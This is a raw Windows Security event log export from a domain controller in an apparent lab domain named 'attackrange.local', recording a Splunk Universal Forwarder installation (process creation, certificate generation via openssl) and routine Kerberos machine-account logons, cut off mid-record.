C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1038 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250015 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250014 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1024 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xaa4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal first-time-run --answer-yes --no-prompt - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250013 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1008 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xaa4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250012 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaa4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal first-time-run --answer-yes --no-prompt >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250011 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Windows\System32\msiexec.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5e4 - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\System32\MsiExec.exe -Embedding 4822D0BFA173BBED231C101DB7D36611 E Global\MSI0000 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250010 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF6A0B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250009 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF6A0B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64373 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250008 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF6A0B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250007 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF6981 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250006 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF6981 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64372 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250005 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF6981 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250004 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF68FA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250003 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF68FA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64371 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250002 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF68FA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250001 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF6899 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250000 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF6899 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64370 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249999 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF6899 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250035 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250034 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\openssl.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x109c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\openssl" x509 -subject -issuer -dates -passin pass:password -noout -in "C:\Program Files\SplunkUniversalForwarder\etc\auth\server.pem" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250033 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\openssl.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x109c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\openssl" x509 -req -in "C:\Program Files\SplunkUniversalForwarder\etc\auth\serverreq.pem" -sha256 -passin pass:password -extensions usr_cert -CA ca.pem -CAkey ca.pem -CAcreateserial -out "C:\Program Files\SplunkUniversalForwarder\etc\auth\servercert.pem" -days 1095 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250032 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\openssl.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x109c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\openssl" req -newkey rsa:2048 -passout pass:password -sha256 -batch -subj /commonName=SplunkServerDefaultCert/organizationName=SplunkUser/ -keyout "C:\Program Files\SplunkUniversalForwarder\etc\auth\serverkey.pem" -out "C:\Program Files\SplunkUniversalForwarder\etc\auth\serverreq.pem" -config "C:\Program Files\SplunkUniversalForwarder\openssl.cnf" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250031 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x109c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1078 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk" createssl server-cert -n "C:\Program Files\SplunkUniversalForwarder\etc\auth\server" -d "C:\Program Files\SplunkUniversalForwarder\etc\auth" -c SplunkServerDefaultCert - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250030 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1078 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program 